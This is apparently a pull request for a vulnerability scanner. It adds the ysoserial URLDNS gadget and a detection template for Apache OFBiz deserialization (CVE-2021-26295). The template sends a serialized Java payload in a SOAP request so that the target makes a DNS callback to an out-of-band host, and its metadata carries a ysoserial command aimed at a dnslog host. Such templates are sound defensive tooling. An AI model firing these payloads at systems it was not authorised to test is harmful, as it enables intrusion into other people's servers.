Added urldns gadget from ysoserial

[Ice3man543]

Proposed changes

Added original Ysoserial URLDNS gadget replacing the one from jexboss. Closes #1952

Fixed template using new gadget -

id: CVE-2021-26295

info:
  name: Apache OFBiz RMI deserializes Arbitrary Code Execution
  author: madrobot
  severity: critical
  description: Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.
  metadata:
    ysoserial-payload: java -jar ysoserial-master-d367e379d9-1.jar URLDNS http://t53lq9.dnslog.cn | hex
  tags: apache,cve,cve2021,rce,ofbiz

requests:
  - raw:
      - |
        POST /webtools/control/SOAPService HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <soapenv:Envelope
            xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
            <soapenv:Header/>
            <soapenv:Body>
                <ser>
                    <map-HashMap>
                        <map-Entry>
                            <map-Key>
                                <cus-obj>{{generate_java_gadget("dns", "https://{{interactsh-url}}", "hex")}}</cus-obj>
                            </map-Key>
                            <map-Value>
                                <std-String value="{{interactsh-url}}"></std-String>
                            </map-Value>
                        </map-Entry>
                    </map-HashMap>
                </ser>
            </soapenv:Body>
        </soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

Checklist

• Pull request is created against the dev branch
• All checks passed (lint, unit/integration/regression tests etc.) with my changes
• I have added tests that prove my fix is effective or that my feature works
• I have added necessary documentation (if appropriate)